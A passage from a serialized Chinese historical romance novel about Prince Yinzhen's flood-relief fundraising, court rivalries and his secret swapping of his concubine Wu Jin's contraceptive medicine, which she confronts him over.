太子接着他的话说道:“向谁募集,与其重新募集,不如减免受灾地区的各种赋税。”
“太子说得有理,不过这赈灾的银两也要发放,既然户部存银不够,此事就交由太子跟胤禛处理,务必要筹集到两万两白银用于赈灾,你们下去就办理此事。”
胤禛看了一眼皇阿玛,皇阿玛哪是问他们怎么解决黄河决堤之事,分明是早就打定主意让他们筹银,这烫手山芋交到他跟太子手上,真是一项苦差事。
从乾清宫内殿出来后,他跟太子走在后头,他问太子要怎么筹银。
“既然这事是四弟先想出来的,我觉得四弟一人可以筹到两万两,我只需从旁协助即可。”
胤禛狠狠皱眉,太子这是想把差事甩给他一人?
“四弟的银楼应该赚到不少银子,不然四弟的贝勒府也不会那么快建起来,我觉得在我们这群兄弟之中,还是四弟最有钱。”
胤禛听到太子的话,心中一股火,敢情太子还在计较银楼的事,他怎么可能有太子有钱,太子当太子这么多年,底下那些人不知道给他送了多少东西,他怎么好意思说他最有钱。
他忍住怒气,努力平和道:“太子说笑了,我怎么可能是最有钱的,皇阿玛既然将差事交予我们两,可见这事不是我一个人能办到的,弟弟无能,这两万两弟弟实在没办法筹到。”
“那是四弟的事,四弟先提出来的,肯定有办法解决,我还有别的差事,四弟先自己想办法吧。”
胤禛看着太子走开,他忍住气,也回阿哥所。
不管怎么样,赈灾一事拖延不得,他还是得想办法筹银,其实向谁筹银是最关键的,两万两其实不算特别庞大的数目,想想办法应该还是可以筹到的。
他在书房坐了一会,坐不住的他又过去户部那边,他把户部几个大臣叫来商量,让他们把户部的账册给他拿过来。
那几个大臣支支吾吾,没一个出来说话,账册也不想拿出来。
平日也就算了,他到户部当差也只有一年,平日他就有点使唤不动他们,在他们背后可能跟几个家族跟阿哥有着千丝万缕的关系,眼下这么紧急的情况,他们还遮遮掩掩,他立即沉脸,怒声道:“我是皇上册封的贝勒,我还使唤不动你们了,是不是要我把皇上搬过来,你们才愿意把账册拿出来,命你们三天之内把户部十年内的账册给我拿过来。”
几个大臣见他发怒,才不情不愿地应声是。
胤禛还是在三天后拿到户部的账册,一共十几本,厚厚一大沓,几天之内都看不完,不过他也只能先看,看户部的存银都去哪了,他又花了三日,将自己关在书房内看账册,看着看着才觉得哪里不对劲。
这户部的银子有很大一部分被朝廷大小官员赊走了,有赊无还,也无人向那些赊账的官员讨债,成了一笔烂帐,怪不得户部的存银越来越少。
胤禛把这事告知太子,想要太子跟他一同向那些赊账的官员讨债,只是太子说既然是他发现的,他自己去讨就行,他还有别的差事要忙活,实在没空管这些,又把差事扔给他一人。
胤禛知道太子是不想沾这事,那些赊账的官员不乏重臣,他连户部的几个官员都使唤不动,哪能一下子跟那么多人要债。
他只好先放话出去,让那些官员主动还债,从户部赊走多少银两就还回来多少银两,既往不咎。
然而放话不管作用,很少有官员愿意主动还债,欠的多就更不愿意了,胤禛觉得赈灾紧急,于是叫人上府催债,效果甚微,反而他多了不少弹劾,那些人重提他养外室的事,说他给外室穿金戴银,不知道花了多少银两,外室生活奢侈。
胤禛只能自己生气,他先前觉得养外室花不少银两,但比起那些官员奢侈的生活,他花去那点银两算得了什么,更何况乌锦这人还真的不喜欢穿金戴银,他见到的乌锦有时候连一支簪子都不戴。
这事闹得朝堂不太平,胤禛被皇阿玛单独叫过去,让他别盯着户部那些债,他很是不理解。
“皇阿玛,儿臣不过是让他们把赊的银两还回来而已,他们中饱私囊还有理了?”
康熙看着自己这个儿子,说道:“胤禛,水至清则无鱼,他们也有他们的难处,你再想其它办法吧,别追着他们不放,这事,你不要再查下去。”
胤禛听到皇阿玛这么说,他不能反驳皇阿玛,只好应道:“儿臣知道了,儿臣明白,此事儿臣不会再查,还请皇阿玛放心,儿臣会努力筹到灾银。”
“好啦,去忙吧。”
胤禛走出大殿,一时没有思绪,户部那些烂帐讨不回来,两万两银子是要凭空出来嘛,他心情烦躁,让苏培盛备马车,他出宫过去乌锦那。
这阵子他忙着催债筹银,有一阵子没过来找她,他到房间里面见到乌锦在备喜糖,他才想起她有一个丫鬟要成亲的事。
乌锦正在把喜糖分装进小布袋里面,再过三日便是彩玉大婚的日子,这些喜糖是分给乌家那些亲戚的。
她见到四阿哥坐下,她没搭理他,继续分糖。
“这些事,你让谢嬷嬷她们帮你,何必亲自动手。”
“我闲着也是闲着,想为彩玉做点事而已,爷怎么了,一脸不高兴,谁惹到你了?”
胤禛觉得乌锦很敏锐,一下子察觉到他的情绪,他没注意到是自己在乌锦面前情绪外露,不像在宫里对谁都掩饰自己真实的想法。
乌锦要是知道他心中所想,肯定会反驳,他是情绪写在脸上,不需要她特意察觉。
胤禛把这阵子发生的事告诉她。
“皇上不是让你们两一起筹银嘛,太子都不着急,你着急什么?”
“因为灾民等不了。”
“是灾民等不了还是主子爷想在皇上面前办好差事?”
“都有。”胤禛也不想让皇阿玛失望,他想做好皇阿玛交代给他的差事。
“既然要筹两万两,你跟太子一人筹一万两不就行了,那些人不还钱,你就说让那些大臣自己捐献,哪家捐得多,你就大肆宣扬,捐得少的,你也把他们捐献的金额说出去,有些人要脸,可能就会捐多一点,一万两筹不到,好歹几千两能筹到吧,不管怎么样,筹到多少是多少,你如实跟皇上说就是。”
乌锦说着自己的想法,她隐隐约约记得历史上有四阿哥查户部账目的事,反正四阿哥最后是没成功。
胤禛眼前一亮,觉得乌锦说得有理,明明是皇阿玛把差事交给他跟太子两人,他跟太子一人筹一万两才是公平的,至于乌锦说的捐银,仔细一想是可行的,为灾民捐献银两是可以赢得好名声的事,有些官员会想要这种虚名,他们也的确要脸要博得好名声,从还钱变成捐钱,名声可就好太多了。
胤禛以前总觉得女子不够聪明,她们常年拘在后宅中导致目光短浅,没想到还是有聪明的人,许是乌锦先前要经营铺子的关系,常跟人打交道,所以她特别聪慧。
烦心事解决了,胤禛就想做别的事,他见乌锦还在装喜糖,不由地咳两声。
“爷嗓子不舒服吗?喝水吧,水在那。”
“乌锦,我十几天没过来了。”
所以呢,乌锦抬眸看他,他几个月没过来都是正常的事,这次才十几天而已,她眼神疑惑。
“这喜糖要弄多久?”
“很快就好了,要不爷帮我,数十颗装进去就好,两个人弄会快一些。”
胤禛只好先帮她。
等喜糖都弄好之后,乌锦就被抱起来,她才明白四阿哥方才说那句话的言下之意,好在她月信前两天结束了。
她觉得奇怪,这人真是换了一个人,以前阴沉沉的,只管做他想做的事,现在又时不时露出温柔耐心的样子,简直是两个极端。
胤禛餍足之后就更开心了,事后还一直抱着乌锦亲。
乌锦被亲得满脸口水,忍不住道:“爷,你别亲了,都是口水,你让我起来洗脸吧。”
“嫌弃我?”
“是有点。”
胤禛也不生气,硬是又亲了一会。
乌锦终于被放开后,她把谢嬷嬷叫进来,让她备水,天热,她出了不少汗,想沐浴,她顺带让谢嬷嬷把避子汤端过来。
胤禛听到乌锦还要喝避子汤,他眉头轻皱,最后还是什么都别说。
乌锦还是不大想要孩子,且不说古代这医疗条件生孩子太过凶险,她始终觉得她跟四阿哥只是表面和睦,两人并未真正交心,孩子是无辜的,她不想让孩子夹在其中,还有就是她如今依旧是外室,她此时有孩子,孩子也是名不正言不顺。
快天黑时,胤禛才离开。
翌日一早,胤禛想着昨天乌锦说的话,他过去找太子,跟太子说他们一人筹一万两,他实在无能,筹不到两万两,请太子帮忙,好在太子同意了。
于是他只需要筹一万两,他照乌锦说的做,让朝中那些大臣捐钱,谁捐多少,他私下故意散发出去,捐的多的,他让人说他是好官,渐渐的,不到五天,他就筹到一万两。
而太子那边据说是向一些皇商直接要钱,也很快筹到一万两,他觉得太子的做法更快更好,那些皇商本就富裕,跟他们要钱赈灾属于是劫富济贫,不过太子这么快要到一万两,那也是因为那是太子,换成他,未必有那么快,他只是贝勒而已。
也怪不得太子不紧不慢的,估计早就想好对策了,不管怎么样,这差事算是办好,他们筹到的两万两加上皇阿玛从国库里拨出的两万两,一共四万两用去赈灾。
前往赈灾的差事落到佟国维等人身上。
……
乌锦这边为彩玉大婚忙活了好几天,在八月二日,彩玉跟李兴亮正式成亲,彩玉嫁去李家后,家里又少一个人,她额娘说家里冷清许多。
彩玉三日后回门,趁着李兴亮跟她阿玛说话,乌锦把彩玉拉到房中问她李家人待她好不好,彩玉点点头,她才放下心,她又忍不住叮嘱彩玉,唠叨起来。
彩玉噗嗤一笑,说道:“小姐,你放心吧,我又不是傻子,肯定不让别人欺负我,有小姐给我撑腰呢,谁敢欺负我,我就跟小姐告状。”
乌锦点了点彩玉的额头,柔声道:“我就怕我为你挑错人,你过得好,我才能安心。”
“小姐,你这么说,我又要哭了,我好不容易忍住的。”
乌锦连忙说道:“好啦好啦,不说这些,回门的日子可不能哭,我们出去看看额娘做什么好吃的。”
彩玉这才点点头,收回眼泪。
新婚夫妻两快天黑时才回府。
乌锦心中一块大石头落下。
日子很快来到八月十五日,中秋节。
四阿哥让人给她送月饼,他在中秋节应该出不了宫,听说宫中举行中秋宫宴,她回家一趟,把四阿哥送的月饼带回家,想跟家人一起过中秋。
小娘问她四阿哥准备什么时候接她入府。
“要等四阿哥迁出宫,入住贝勒府,估摸着还要半年。”
小娘欲言又止,乌锦就没有当着两个弟弟的面问下去,等饭后,她回房间,小娘也很快到她房间。
“桃子,我听说一件事,不知该不该跟你说。”
“小娘,有什么话就直说吧,跟我有什么不能说的。”
“是我听说那个章佳氏怀孕了,听说章佳氏会被接进皇宫。”
小娘看上去有些紧张,估计是怕章佳时可以进宫,母凭子贵,而她不可以,怕她被四阿哥遗弃,只能继续当个外室,乌锦她不敢保证四阿哥是不是真的喜欢她,但她可以肯定四阿哥没有要放她走的意思,她平静道:“小娘,章佳氏怀孕,那是她的事,跟我们无关,你不用担心,四阿哥他一定会让我进他的后院当庶福晋的。”
“我是怕章佳氏跟你,四阿哥选章佳氏,她毕竟怀孕了。”
“小娘,四阿哥他应允过我的,再等半年吧,不着急,我还想常回家呢。”
程连秀见桃子一点都不担心,也许四阿哥真的应允过桃子,她这才放下心。
第68章第68章更新
第68章
章佳氏怀孕与否,乌锦并不在意,她的日子还是照样过,碰到章佳氏时已经是九月底,她见到的章佳氏腹部平平,看起来不像是怀孕的样子,但看起来有些憔悴,蔫蔫的,没有第一次见到时那般意气扬扬。
章佳氏也没有上前跟她说话,被她身边的嬷嬷半催着进屋。
乌锦自己回到房间后,见谢嬷嬷把一盘洗好新鲜瓜果端上来,她才问了一句:“嬷嬷,那个章佳氏是不是怀孕了?”
谢嬷嬷愣了一下,略显心虚地说她不知道那边的事。
乌锦看谢嬷嬷心虚的模样,觉得章佳氏有可能是真的怀上了,可能还没到三个月才不显肚。
谢嬷嬷又接着找补道:“乌姑娘,主子爷很喜欢你,你以后肯定也会有孩子的。”
乌锦只是淡淡地笑了笑,无所谓地摆摆手:“嬷嬷,你不用担心我,我只是随口一问,好啦,你忙去吧。”
谢嬷嬷这才出去。
乌锦用银签叉了一块西瓜放进嘴里,吃了半盘才停下,擦干净手就开始看书,没过多久,谢嬷嬷进来说主子爷来了,四阿哥进来时,她才没有惊讶。
“爷,你剃头了。”
“嗯。”
他前几日才剃的头,也不怪她能一眼看出,胤禛见她又在看那些话本子,一点正经的书都不看,他坐下来后也用银签叉剩下那盘水果吃。
“爷饿吗?要是饿的话,我让谢嬷嬷给你弄点吃的。”
胤禛摇摇头,说他不饿。
既然他说不饿,乌锦也就没有管他,这么大个人了,不至于饿到自己,她继续看书。
胤禛吃得差不多后才开口问道:“你说要怎样才能让别人听我的话?”
乌锦目光落到他身上,心想谁敢不听他的话,不过又想到他只是贝勒,比他地位尊贵的人还有不少,这属于是一山比一山高,他平日里压着她们这些普通老百姓,也会有他压不住的人。
“爷想让谁听话?”
“别人,户部的那些大臣。”
乌锦不觉得自己有多聪明,可以帮他解决朝堂上的难事,不过既然他问了,她就答他,就当是闲聊。
“那些大臣怎会不听爷的话,爷不是皇子吗?他们不要命了?”
胤禛叹口气,皇子又如何,那些人对他的话敷衍应对,不把他这个皇子放在眼里,他动不了他们,他们更加有恃无恐。
“我要不了他们的命,只有皇阿玛能要他们的命。”
“那主子爷把那些不听话的人换成主子爷的人可不可行?”
“暂时换不了。”
“暂时换不了不代表一直换不了,主子爷慢慢来就是,什么事都不会一蹴而就。”
乌锦觉得四阿哥目前就好像是老板的儿子富二代空降公司,大家对他的期盼从来都不是希望他能给公司带来巨大的创收,而是希望他不管事不惹事,省得给公司添麻烦,还要属下善后,当然身为老板诸多儿子其中一个,四阿哥想证明自己的实力,证明自己能干,必定想要做出一番成绩,只是公司的老部下不愿意听他的话,那些老部下可能背后有别人撑腰,要么把老部下换掉,要么让老部下投诚成为他的人,要么重新培养自己的人,反正一开始,四阿哥注定不会顺利。
胤禛看向乌锦,觉得她说得有道理,是他太过心急了,他勾勾手指,示意乌锦过来。
“你招狗呢。”
他的手被拍了一下,也被瞪了一眼,他笑出声,还是自己过去,牵她起来,跟她一起到内间,一到床上就忍不住压着她亲。
……
又是一年年关,京城入冬,胤禛的贝勒府已经差不多建好,准备完工了,许是他的贝勒府第一个建好,连胤褆的郡王府都还没建好,甚至传出他的贝勒府耗费五万两建成,比内务府给阿哥们分发的建府银两多出四万两,黄河赈灾的银两也不过在四万两,由此牵扯出他的银子从何而来。
胤禛知道自己几个月前查户部的账,让那些赊银的官员还债,得罪了一些人,所以那些人想找他麻烦,抓他的错处。
胤禛被皇阿玛叫去乾清宫,被问银子从哪来,他对着皇阿玛说实话,说是底下有人给他的,他是阿哥,有的是人想贿赂他,他说不止是他,胤褆等人也一样。
要查不能只查他一个,那些弹劾他的大臣也不会是清清白白,太子等人也不会清清白白,他想着既然要查,他就将所有人都拖下水,总不能只查他一人,是皇阿玛说的,水至清则无鱼,好歹他没有动用户部的存银跟国库的存银,他建府自己贴钱有什么错,内务府给的那点银两哪里够。
他建得快,只是因为他想早点搬出宫。
显然皇阿玛也没有要查的意思,他说完之后,皇阿玛就让他离开了。
他已经想好明年三月开春就迁宫,他也不管胤褆在他之前还是之后,反□□邸彻底完工后,他就随时迁出去。
他回到乾西三所,把福晋叫进书房,跟福晋说这事,让福晋在这两三个
月做好准备,该收拾的东西收拾,该带出宫的人提前跟内务府那边说一声。
福晋出去后,胤禛又把苏培盛叫过来。
“你跟内务府的人说找成活的几棵桃树跟石榴树,到时候种到贝勒府的院子里。”
“奴才知道了。”苏培盛刚想退下,又被四阿哥叫住。
“顺便让内务府挑几个机灵的人过来,不要年纪大的,算了,此事之后再说。”
苏培盛看了一眼四阿哥,心想都要出宫了,四阿哥还要挑机灵的人伺候,应该是为了乌姑娘挑的,乌姑娘那边需要人伺候,他没有多问,先去找果树。
胤禛想着皇阿玛虽然封他被贝勒,但还没有将分他佐领跟包衣奴才,他想着为乌锦挑几个能伺候的奴才,还是从皇阿玛分配的包衣奴才上挑是最好。
内务府里挑出来的人是内务府包衣,直属于皇阿玛的。
好在皇阿玛在年前想起这事,开始给他们这些册封的阿哥分佐领,胤褆跟胤祉是郡王,分了五个佐领,佐领下面的人其实均属于包衣奴才,为他们各自所有,而他跟胤祺他们身为贝勒,只分了三个佐领。
往后这些佐领都归他们所有,真正属于他们的人,是从各旗划分到他们名下,他们就等于是这些人的旗主。
胤禛有了真正可以支配的人,他还是很高兴的,虽说了有了这些包衣奴才,但宫里有些宫女跟太监伺候他们伺候得久,也可以带出宫继续伺候他们,需要跟内务府那边要人。
他让福晋选好要带出宫的人,把名单交上来给他,后院交给福晋负责,前院这边,他自己负责。
乌喇那拉氏这半个月就在负责此事,她预计年后四阿哥就要迁宫了,听说贝勒府已经建好,她让后院的主子把自己想带走的奴才告诉她,她来统计名单,不过有些人是属于内务府的奴才,未必能全部带出宫,也有些是自己随嫁的奴才。
这半个月,后院人心浮动,还有一些想伺候四阿哥的奴才也跟着想法子随他们出宫,比如有一些是宫里膳房的奴才,原本是不能随他们出宫的,这些人也有心走动,四处钻营,给后院的主子递话,让主子把他们带出宫,就有不少人求到乌喇那拉氏这边。
乌喇那拉氏自己已经有想好要带出宫的奴才,平日里谁忠主,谁伺候主子上心,她心里是清楚的。
至于其他人想带出宫哪个奴才出宫,她也不会横加干预,反正她知道四阿哥分到三个佐领,佐领下面的包衣奴才约莫有五百人,真的缺人的话,就要从这些包衣奴才里面选了。
乌喇那拉氏慢慢统计名单,年前就一直忙这事。
有人求到福晋这,自然也有求到苏培盛那里,毕竟苏培盛是四阿哥身边的大太监,宫里一洒扫太监小才子就求到苏培盛这里。
小才子今年才十六岁,十二岁就进宫了,进宫年份浅,目前只是个洒扫太监,还不是四阿哥院里的洒扫太监,是负责所跟所之间甬道的洒扫太监。
他听说四阿哥要搬出宫,他觉得与其一直在宫里当个洒扫太监,不如跟着四阿哥出宫,到贝勒府当个奴才也是一条好前程,于是他就想方设法求到苏公公这里来。
苏培盛对小才子也是有印象的,两人是同乡,但平日里没有太多交集,他常跟在四阿哥身边进进出出,跟一个洒扫太监见不到几次面。
“苏公公,这是我这几年攒下来的所有银子,还请苏公公笑纳。”
“说吧,你找我什么事?说快点,四阿哥那还需要我当差呢,我离不了太久。”
“苏公公,我想到四贝勒爷府里当差,哪怕继续当个洒扫太监都行,还请苏公公帮帮忙。”
苏培盛掂了掂小才子给的银两,比较轻,最多不过五十两,不过他一个洒扫太监一个月就一两银子,能攒下五十两也不容易,他也猜到小才子是说这事。
这几日找他的人不少,都想进主子爷府里当差,这宫里的奴才想出宫的人不在少数,尤其是一些年纪大的,怕一辈子出宫无望,就赶紧借着主子爷迁宫这阵风顺势出宫。
要不是小才子是他同乡,这么少的银两,他都不会搭理他。
“我也不过是一太监,哪里做得了主,你怕是求错人了。”
小才子连忙低声下气恳求道:“苏公公,你就帮帮我,念在我们是同乡的份上拉我一把,日后苏公公让我做什么,我就做什么。”
苏培盛心想他哪里需要他一个洒扫太监帮他做什么,不过他想起一事,主子爷想为乌姑娘挑几个伺候的奴才,他跟在主子爷身边,知道主子爷很喜欢乌姑娘,等他们搬出宫,乌姑娘便会进主子爷的后院。
乌姑娘在主子爷心中份量极重,连福晋恐怕都不及,他虽说是主子爷身边的大太监,但终究是奴才,他日后说不定有犯错的时候,这个时候谁替他说话就极为重要,他作为奴才是要巴结主子的,包括即将成为主子的乌姑娘。
若是他有个亲信在乌姑娘身边,有什么事给他递个话,其实不失为一件好事,当奴才最重要的是揣摩主子的心,而主子爷在乌姑娘面前情绪最为外露,他想知道主子爷在想什么,可能还要通过乌姑娘这边得知。
苏培盛看向小才子,说道:“银子我先收下了,你我既为同乡,该相互帮衬才是,日后你若是飞黄腾达了,别忘记我今日帮你之事。”
“苏公公,你这不是折煞我嘛,我一个小太监哪里谈得上飞黄腾达。”
苏培盛抬手制止小才子说话,“好啦,你说的事我知道了,我会为你谋一好差事,将你的名字报上去,你且等着吧。”
小才子顿时大喜,直接跪下来给苏公公磕头。
“好啦,回去吧。”苏培盛也转身离开。
小才子也不知道苏公公能不能帮到他,反正他所有存银已经耗没了,苏公公不帮他,他也别无他法了。
……
过年,宫里热闹,张灯结彩。
除夕宫宴上,他们几兄弟坐在一块,胤褆问他是不是打算年后迁宫。
胤禛点头说是。
“我都还没有迁宫,你怎么能在我前头,你身为弟弟,不该让哥哥先迁宫吗?你先迁宫算什么事,你就那么等不及吗?”胤褆有些不满道。
“大哥计较这些什么?大哥分了五个佐领,弟弟只有三个,迁宫而已,大哥要是实在不想我在前头,你就让两个佐领给我。”
胤褆冷哼一声,依旧不满道:“你是贝勒,我是郡王,郡王在贝勒之上,我分的佐领比你多,这不是应该的嘛,跟你提前迁宫有什么关系,我是大哥,你这是想压在我前头,四弟,你心思不正。”
胤禛没生气,语气平静道:“那我三月迁宫,大哥在二哥迁不就好了,在我前头,弟弟也没压你,大哥也可以在一月迁宫,我又没有拦着大哥。”
“我那府邸还没建好,怎么迁宫。”
胤禛沉声道:“皇阿玛是一齐册封我们的,那府邸也是在同一天分给我们的,没有提早一天,大哥的府邸还没建好赖不到弟弟身上,我以为是大哥不着急,既然不着急,大哥可以继续住在宫里。”
“所以说你是着急出宫?”
“我也不着急。”
“不着急的话,这建府的银两还没发下来,你就自己贴银子建府,你为的是什么,还不是想故意压我这个大哥,你作为弟弟,一点都不知道敬重兄长。”
胤禛听着胤褆指责的话,面露无奈,从小到大,胤褆仗着是皇阿玛的长子,什么都让他们让着他,不让就是不敬重兄长,连太子,他都敢以兄长的身份欺压。
他三月迁宫的事已经提上日程,他的确是着急出宫,不过他不能这么说,他府邸没建好不关他的事,他自己被皇阿玛封为贝勒,低他一头都忍了,这迁宫一事,他没必要为了他再挪后。
“我一向敬重大哥,大哥这么说的话是伤弟弟的心,我们可以去找皇阿玛评评理,到
底是我对兄长不敬还是大哥污蔑弟弟。”
胤褆一听要告诉皇阿玛,又改口道:“四弟,这点小事你就找皇阿玛评理,未免太小题大做了,我不过是说说而已。”
这事要是告诉皇阿玛,皇阿玛只会觉得他这个大哥无理取闹,一点小事都要闹起来,指责他这个大哥不懂事,谁让他是大哥,胤褆觉得老四想尽快搬出宫外,说不定是为了他那外室,想跟那外室缠缠绵绵。
宫宴结束后,胤禛回到西三所,他喝了一点酒,福晋让人给他送来醒酒汤,他喝了醒酒汤后想躺下去入睡,却睡不着,不知乌锦此时在做什么。
还有三个月,等她入他后院,他想见她随时可以见到。
……
此时的乌锦刚跟家里人一起吃完年夜饭,她吃得不多,甚至还有点反胃,她觉得是年前吃肉太多了,天天吃肉,所以今晚闻到肉味才有点反胃。
吃过年夜饭后,乌锦有些乏了,就没有跟着阿玛他们一起守夜,先回房间歇息了,刚躺下去没多久,她反胃感又上来,特别想吐。
她便起身又重新把烛灯点上,找来痰盂,对着吐,没吐出什么东西,只是一些胆汁,许是她干呕的声音被大声,她小娘在门外问她怎么了。
她高声说自己没事。
小娘听到她没睡,直接推门而入,见她抱着痰盂,脸色一变,“这是怎么了?怎么吐了?是不是今天吃太多了?刚吃完就躺下去不好,应该消消食。”
乌锦又一阵反胃,没来得及回小娘的话就又开始干呕,这回吐出东西了。
小娘把她额娘跟阿玛叫过来,又是倒水又是拍背,乌锦吐完后才觉得好多了,喝水漱口,又含了一块蜜饯,她被搀到床上。
“好端端的,这是怎么了?是午膳吃多了吗?”她额娘担忧道。
“桃子,你月信上个月的月信什么时候结束的?”小娘问道。
此话一出,阿玛、额娘跟小娘都直直地盯着她,乌锦心里也咯噔一下,她上个月月信好像是月中,这个月月信也该是月中来才是,如今都月底了,好像迟了十几天。
过年事多,她也逐渐忘了,她今晚这反胃不像是吃多了,更像是怀孕前期的孕吐,她怎么会怀孕,明明每一次事后,她都有喝避子汤。
程连秀忍不住欣喜:“桃子,你月信若是迟了的话,那你有可能已经怀孕了,天哪,终于有了。”
乌志善也很高兴,自家女儿跟了四阿哥之后,他就一直担心女儿只能当外室,如今有了孩子,能够母凭子贵成主子,他连忙说道:“我去请何神医,让何神医过来把把脉。”
反应过来的乌锦拉住她阿玛:“阿玛,别去,此事不宜声张。”
程连秀也说道:“桃子说得对,这大过年的,找何神医过来,别人会以为出什么事了,有什么事也是明天再说,桃子,听说一些怀孕之人嗜酸,正好,家里有腌制的杏子蜜饯,你要是想吐,就含一颗杏子蜜饯吧,这样会好受不少。”
乌锦脑子有点乱,不明白自己怎么会怀孕,若真的怀上了,她又那么频繁喝避子汤,前几日才喝过一次,这孩子真的生出来怕也是有问题的吧。
“我现在不想吐了,还没确定是不是真的怀孕,阿玛你们先别对外声张,不管怎么样,我现在依旧是外室,这个孩子不能从一个外室肚子里出来。”
“桃子,你的意思是……”
“小娘,我没什么意思,你们让我想想怎么跟四阿哥开口,在我没进四阿哥府邸前,外人不能知道我怀孕的事,要是真的有了,我希望这个孩子是名正言顺的格格或是阿哥。”
乌锦记得四阿哥跟她说过三月便会迁宫,她要是真的怀了,等三个月后她进府再作打算,那会她就是主子了。
“桃子说得对,放心吧,我们不会说出去的,你先躺下好好休息,有什么事叫我们。”程连秀应道。
乌锦躺下去,让额娘帮她熄灯,房间内陷入漆黑时,她依旧睁着眼。
章佳氏是几个月前传出怀孕的消息,但她似乎没听到章佳氏入宫的消息,不知道她那个孩子怎么样了。
她不想要孩子,不想孩子夹在她跟四阿哥之中,只是她此时却意外怀孕,为何会怀孕,避子汤不起作用?
不对,乌锦总觉得哪里不对,她不该意外怀孕的,一定有哪里不对,先前四阿哥就让她替他生一个孩子,那避子汤又一直是谢嬷嬷她们替她熬煮的,而谢嬷嬷她们又是四阿哥的人,若是四阿哥让她们把避子汤调换了呢。
她慢慢回想,她记得她有一次觉得避子汤的味道不对,跟之前喝过的不一样,是不是从那个时候开始,她喝的就已经不是避子汤了。
乌锦想到这就恨不得将那个人剥皮抽筋,一定是他暗中让谢嬷嬷调换了汤药,她傻乎乎地喝了这么久,没有怀疑避子汤早已不是避子汤。
这人实在太可恨了,乌锦越想越气,先前说她不配生下皇嗣,现在又偷偷给她换汤药,在他眼里,她连生不生孩子都由不得自己做主。
这事谢嬷嬷她们恐怕早就知道了,就瞒着她一个人,她太过相信她们了,她们终究是四阿哥的人,听令于四阿哥,四阿哥才是她们的主子。
乌锦气到后半夜才睡着。
第69章第69章更新
第69章
大年初一,乌锦原本要跟她额娘他们一块去寺里上香,只是她疑似怀孕后,她额娘他们就禁止她跟着去,说是人多,怕冲撞到她,让她好好待在家里。
于是乌锦过年期间就在家好好待着,哪也没去,也没有找大夫给她把脉看诊,她每天吃饱后闻着肉味就反胃,让她更加确定自己怀孕是八九不离十的事情。
大年初八,她才回宅子那边住,谢嬷嬷她们也从她们家中过来伺候她。
到了午时,谢嬷嬷摆膳,膳桌上摆了一碟糟烧肉、一碟蚕豆炒虾仁、一碟青菜跟一份鸽子汤。
乌锦只有吃饱才会闻不得食物的味道,饿的时候很有食欲,也不会反胃,她似不经意地问道:“嬷嬷,我上个次来月信是什么时候?”
谢嬷嬷回想了一下,说是十一月十七日见血,来了七日。
“乌姑娘,你十二月可有来月信,你十二月底该来月信了,是不是月信迟了?”
乌锦回道:“是迟了十几日,今儿还没来,谢嬷嬷,我总觉得日子不对,你说我有没有可能怀孕了,这不对啊,我每次都有喝避子汤,怎么可能怀孕,一定是我多想了。”
她说完就见到谢嬷嬷脸上明显出现一抹慌乱。
“乌姑娘,要不我们请周太医过来给姑娘把把脉。”
乌锦摆摆手,说道:“不用了,肯定只是月信迟了,先前也这样过,我都喝了避子汤,不会怀孕的,不用叫周太医,只是过年在家的时候,我有几次反胃,也不知是为何,我额娘说有可能是孕吐,我觉得不可能,我额娘不知道我每次都有喝避子汤,是不可能怀孕的。”
谢嬷嬷她很是心虚,跟乌姑娘说还是请周太医过来把把脉为好,只是乌姑娘一直说不用劳烦周太医,她怕乌姑娘真的有身子,她顿时有些着急,不知该说不该说,那避子汤早就换成温身滋补的药方,主子爷想要乌姑娘怀上皇嗣,换了有大半年了。
她对上乌姑娘平静又带有一点锐利的眼神,脑子噔的一下,顿时明白了什么,她立即跪下来,愧疚道:“乌姑娘,是我不对,我不该瞒着乌姑娘。”
“嬷嬷,你瞒我什么了?”
“那……那避子汤……其实不是避子汤,主子爷让我们换过药方了,是我对不住乌姑娘。”
乌锦早就猜到,只是当谢嬷嬷亲口承认时还是有些难过,她知道她们有她们的为难之处,也是听从主子的话,只是她跟谢嬷嬷她们相处也有三年之久,她们瞒她这么久,一点情分都不顾,她叹口气:“嬷嬷,你起来吧,我不怪你。”
“乌姑娘……”谢嬷嬷对上乌
姑娘失望的眼神,她也不由哽咽起来,“是嬷嬷对不住你,你怎样责骂都不为过。”
乌锦把谢嬷嬷搀扶起来,温声道:“嬷嬷,我晓得你也是照吩咐做事,我不怪你,我月信的确是迟了,应是有身子了,但你帮我一个忙,你帮我买一副堕胎药。”
谢嬷嬷大惊,结巴起来:“乌姑娘,你……你……你既有身子,为何要堕胎,你千万要三思啊,你三个月后要入主子爷的后院,这会有身子岂不是更好,有孩子傍身,后院那些女人也不敢怠慢你。”
“嬷嬷,你就这样传话给他,说我要你买堕胎药。”
“乌姑娘是想骗主子爷?”
乌锦脸色一冷,他都骗她了,她骗骗他又如何,难不成只准他骗她。
谢嬷嬷松一口气,还好乌姑娘不是真的想堕胎,她应允下来,说她让赵师傅给主子爷传话,不过她还是不放心叮嘱道:“乌姑娘,既然都怀上了,何不生下来,主子爷待乌姑娘的心是好的。”
“嬷嬷,你放心吧,我不会拿孩子撒气,你先去找赵师傅吧。”
谢嬷嬷出去后,乌锦开始用膳,吃完后就犯困了,怀孕的人容易疲乏,她很快躺到床上午歇,先睡一觉。
本以为那人明日才会过来,结果乌锦睡醒后就见到那人坐在床边的长榻上,逆着光,脸色阴沉,仿佛要吃人一般,周身渡了一层寒冰。
“你要堕胎?”
“堕胎?我每次都喝避子汤,哪来的孩子,主子爷,你在说什么?”乌锦佯装不懂,从床上坐起来。
他慢慢走过来,高大的身影挡住她眼前的光,俊脸上布满厉色,只听见他沉声道:“乌锦,你要是敢堕胎,我就诛你九族。”
“威胁我?你除了会威胁我,你还会干什么,不对,你还会换药,在你眼里,我是什么,我还算是一个人吗?还是你的禁脔,你的奴才?我只能听从于你,顺从于你,我不能有自己的想法,四阿哥,实话告诉你,孩子已经没了,我几天前就喝了堕胎药。”
乌锦被攥住手腕,从床上扯起来,她直视他。
胤禛气疯了,她怎么敢!
他抬手,她还把脸迎上来,这一巴掌迟迟扇不下去。
“四阿哥,有本事你就打,反正你也不是第一回了。”
胤禛手还是放下去,他冷声道:“没事,这个孩子没了,我们以后还会有别的孩子,我们来日方长。”
“你为何总是强迫我。”
胤禛被这一句话给问愣住了,他不知如何回答,他想他要是不强迫她,她又怎会待在他身边,不管心甘情愿也好,还是迫不得已,至少人在他身边,他摸得到碰得着。
“我想要的东西一定要得到。”
“可我是人,我不是东西,我有我的想法,你为何要将你的想法强加于我,有的是人给你生孩子,你为何要偷偷换药,四阿哥,你用权力压我,你难不成还想我对你感恩戴德?”
胤禛拧着眉头,想不出话来反驳。
